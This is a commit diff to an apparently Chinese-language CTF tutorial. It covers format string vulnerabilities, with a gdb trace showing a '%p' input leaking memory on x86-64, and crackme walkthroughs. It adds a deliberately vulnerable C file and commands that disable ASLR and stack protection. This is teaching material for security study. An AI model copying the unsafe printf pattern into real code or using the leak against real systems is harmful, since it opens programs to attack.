fix writeup

This commit is contained in:
firmianay 2017-09-12 15:38:29 +08:00
parent f40c2a69c7
commit d761dc19fa
6 changed files with 199 additions and 101 deletions

View File

@ -292,6 +292,7 @@ printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s")
使程序崩溃只是验证漏洞的第一步,攻击者还可以利用格式化输出函数来获得内存的内容,为下一步漏洞利用做准备。我们已经知道了,格式化字符串函数会根据格式字符串从栈上取值。由于在 x86 上栈由高地址向低地址增长,而 `printf()` 函数的参数是以逆序被压入栈的,所以参数在内存中出现的顺序与在 `printf()` 调用时出现的顺序是一致的。
下面的演示我们都使用下面的[源码](../src/Others/3.3.1_fmt_2.c)
```c
#include<stdio.h>
void main() {
@ -303,7 +304,8 @@ void main() {
printf("\n");
}
```
```
```text
# echo 0 > /proc/sys/kernel/randomize_va_space
$ gcc -m32 -fno-stack-protector -no-pie fmt.c
```
@ -1132,8 +1134,78 @@ gdb-peda$ x/20x $esp
0xffffd570: 0xffffd53b 0x34303125 0x33312563 0x6e686824
```
最后还得强调两点:
- 首先是需要关闭整个系统的 ASLR 保护,这可以保证栈在 gdb 环境中和直接运行中都保持不变,但这两个栈地址不一定相同
- 其次因为在 gdb 调试环境中的栈地址和直接运行程序是不一样的,所以我们需要结合格式化字符串漏洞读取内存,先泄露一个地址出来,然后根据泄露出来的地址计算实际地址
## x86-64 中的格式化字符串漏洞
在 x64 体系中,多数调用惯例都是通过寄存器传递参数。在 Linux 上,前六个参数通过 `RDI`、`RSI`、`RDX`、`RCX`、`R8` 和 `R9` 传递;而在 Windows 中,前四个参数通过 `RCX`、`RDX`、`R8` 和 `R9` 来传递。
还是上面的程序,但是这次我们把它编译成 64 位:
```
gcc -fno-stack-protector -no-pie fmt.c
```
使用 `AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.` 作为输入:
```
gdb-peda$ n
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0xffffffff
RDX: 0x88888888
RSI: 0x1
RDI: 0x7fffffffe3d0 ("AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.")
RBP: 0x7fffffffe460 --> 0x400660 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffe3c0 --> 0x4241000000000000 ('')
RIP: 0x400648 (<main+113>: call 0x4004e0 <printf@plt>)
R8 : 0x7fffffffe3c6 --> 0x44434241 ('ABCD')
R9 : 0xa ('\n')
R10: 0x7ffff7dd4380 --> 0x7ffff7dd0640 --> 0x7ffff7b9ed3a --> 0x636d656d5f5f0043 ('C')
R11: 0x246
R12: 0x400500 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe540 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x40063d <main+102>: mov r8,rdi
0x400640 <main+105>: mov rdi,rax
0x400643 <main+108>: mov eax,0x0
=> 0x400648 <main+113>: call 0x4004e0 <printf@plt>
0x40064d <main+118>: mov edi,0xa
0x400652 <main+123>: call 0x4004d0 <putchar@plt>
0x400657 <main+128>: nop
0x400658 <main+129>: leave
Guessed arguments:
arg[0]: 0x7fffffffe3d0 ("AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.")
arg[1]: 0x1
arg[2]: 0x88888888
arg[3]: 0xffffffff
arg[4]: 0x7fffffffe3c6 --> 0x44434241 ('ABCD')
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe3c0 --> 0x4241000000000000 ('')
0008| 0x7fffffffe3c8 --> 0x4443 ('CD')
0016| 0x7fffffffe3d0 ("AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.")
0024| 0x7fffffffe3d8 ("%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.")
0032| 0x7fffffffe3e0 (".%p.%p.%p.%p.%p.%p.%p.")
0040| 0x7fffffffe3e8 ("p.%p.%p.%p.%p.")
0048| 0x7fffffffe3f0 --> 0x2e70252e7025 ('%p.%p.')
0056| 0x7fffffffe3f8 --> 0x1
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0000000000400648 in main ()
gdb-peda$ x/10g $rsp
0x7fffffffe3c0: 0x4241000000000000 0x0000000000004443
0x7fffffffe3d0: 0x4141414141414141 0x70252e70252e7025
0x7fffffffe3e0: 0x252e70252e70252e 0x2e70252e70252e70
0x7fffffffe3f0: 0x00002e70252e7025 0x0000000000000001
0x7fffffffe400: 0x0000000000f0b5ff 0x00000000000000c2
gdb-peda$ c
Continuing.
AAAAAAAA0x1.0x88888888.0xffffffff.0x7fffffffe3c6.0xa.0x4241000000000000.0x4443.0x4141414141414141.0x70252e70252e7025.0x252e70252e70252e.
```
可以看到我们最后的输出中,前五个数字分别来自寄存器 `RSI`、`RDX`、`RCX`、`R8` 和 `R9`,后面的数字才取自栈,`0x4141414141414141` 在 `%8$p` 的位置。这里还有个地方要注意,我们前面说的 Linux 有 6 个寄存器用于传递参数,可是这里只输出了 5 个,原因是有一个寄存器 `RDI` 被用于传递格式字符串,可以从 gdb 中看到,`arg[0]` 就是由 `RDI` 传递的格式字符串。(现在你可以再回到 x86 的相关内容,可以看到在 x86 中格式字符串通过栈传递的,但是同样的也不会被打印出来)其他的操作和 x86 没有什么大的区别,只是这时我们就不能修改 `arg2` 的值了,因为它被存入了寄存器中。
## CTF 中的格式化字符串漏洞
@ -1322,6 +1394,10 @@ hacked!
这样我们就获得了 shell可以看到输出的信息和我们手工得到的信息完全相同。
# 扩展阅读
## 扩展阅读
[Exploiting Sudo format string vunerability CVE-2012-0809](http://www.vnsecurity.net/research/2012/02/16/exploiting-sudo-format-string-vunerability.html)
## 练习
- [**pwn** - UIUCTF 2017 - goodluck - 200](../src/Pwn/3.3.1_goodluck_200)
- [**Pwn** - NJCTF 2017 - pingme - 200](../src/Pwn/3.3.1_pingme_200)

View File

@ -419,10 +419,10 @@ Count 152786
- [pintool2](https://github.com/sebastiendamaye/pintool2)
#### 练习
- [Baleful - picoCTF 2014](../src/Reverse/5.2_baleful)
- [Reverse 400 - Hack You 2014](../src/Reverse/5.2_reverse_400)
- [wyvern 500 - CSAW CTF 2015](../src/Reverse/5.2_wyvern_500)
- [rev100 - th3jackers CTF 2015](../src/Reverse/5.2_th3jackers_100)
- [**RE** - picoCTF 2014 - Baleful](../src/Reverse/5.2_baleful)
- [**RE** - Hack You 2014 - reverse - 400](../src/Reverse/5.2_reverse_400)
- [**RE** - CSAW CTF 2015 - wyvern - 500](../src/Reverse/5.2_wyvern_500)
- [**RE** - th3jackers CTF 2015 - rev100 - 100](../src/Reverse/5.2_th3jackers_100)
## 扩展Triton

View File

@ -30,6 +30,10 @@
- [3.1 Reverse]()
- [3.2 Crypto]()
- [3.3 Pwn]()
- [3.3.1 格式化字符串漏洞](#331-格式化字符串漏洞)
- [3.3.2 整数溢出]()
- [3.3.3 栈溢出]()
- [3.3.4 堆溢出]()
- [3.4 Web]()
- [3.5 Misc]()
- [3.6 Mobile]()
@ -37,44 +41,53 @@
- [4.1 AWD模式]()
- [4.2 Linux 命令行技巧]()
- [4.3 GCC 堆栈保护技术]()
- [4.4 使用 DynELF 泄露函数地址]()
- [五、高级篇]()
- [5.1 Fuzz 测试]()
- [5.2 Pin 动态二进制插桩](#52-Pin-动态二进制插桩)
- [5.3 angr 二进制自动化分析]()
- [5.4 反调试技术]()
- [5.5 符号执行]()
- [5.6 LLVM]()
- [六、附录]()
- [6.1 更多 Linux 工具](#61-更多-linux-工具)
- [6.2 更多 Windows 工具]()
## 3.3.1 格式化字符串漏洞
#### **pwn** - UIUCTF 2017 - goodluck - 200
#### **Pwn** - NJCTF 2017 - pingme - 200
## 5.2 Pin 动态二进制插桩
#### Baleful - picoCTF 2014
#### **RE** - picoCTF 2014 - Baleful
#### Reverse 400 - Hack You 2014
#### **RE** - Hack You 2014 - reverse - 400
#### wyvern 500 - CSAW CTF 2015
#### **RE** - CSAW CTF 2015 - wyvern - 500
#### rev100 - th3jackers CTF 2015
#### **RE** - th3jackers CTF 2015 - rev100 - 100
## 6.1 更多 Linux 工具
#### Strings - strings_crackme
```text
[firmy@Reverse]$ strings -e L strings_crackme
$ strings -e L strings_crackme
w0wgreat
```
#### Strings - flag_pwnablekr
#### **Pwn** - Strings - flag_pwnablekr
```text
[firmy@Reverse]$ ./flag_pwnablekr
$ ./flag_pwnablekr
I will malloc() and strcpy the flag there. take it.
[firmy@Reverse]$ strings flag_pwnablekr | grep UPX
$ strings flag_pwnablekr | grep UPX
UPX!
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.08 Copyright (C) 1996-2011 the UPX Team. All Rights Reserved. $
UPX!
UPX!
[firmy@Reverse]$ upx -d flag_pwnablekr
$ upx -d flag_pwnablekr
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2017
UPX 3.94 Markus Oberhumer, Laszlo Molnar & John Reiser May 12th 2017
@ -82,19 +95,19 @@ UPX 3.94 Markus Oberhumer, Laszlo Molnar & John Reiser May 12th 2017
-------------------- ------ ----------- -----------
883745 <- 335288 37.94% linux/amd64 flag_pwnablekr
Unpacked 1 file.
[firmy@Reverse]$ strings flag_pwnablekr | grep -i upx
$ strings flag_pwnablekr | grep -i upx
UPX...? sounds like a delivery service :)
```
#### xxd - xxd_crackme
```text
[firmy@Reverse]$ xxd -g1 xxd_crackme
$ xxd -g1 xxd_crackme
......
00001020: 00 00 00 00 67 30 30 64 4a 30 42 21 00 00 00 00 ....g00dJ0B!....
......
```
```text
[firmy@Reverse]$ strings -d xxd_crackme
$ strings -d xxd_crackme
......
g00dJ0B!
......

9
src/Others/3.3.1_fmt_2.c Normal file
View File

@ -0,0 +1,9 @@
#include<stdio.h>
void main() {
char format[128];
int arg1 = 1, arg2 = 0x88888888, arg3 = -1;
char arg4[10] = "ABCD";
scanf("%s", format);
printf(format, arg1, arg2, arg3, arg4);
printf("\n");
}

BIN
src/Pwn/3.3.1_goodlock_200 Executable file

Binary file not shown.

BIN
src/Pwn/3.3.1_pingme_200 Executable file

Binary file not shown.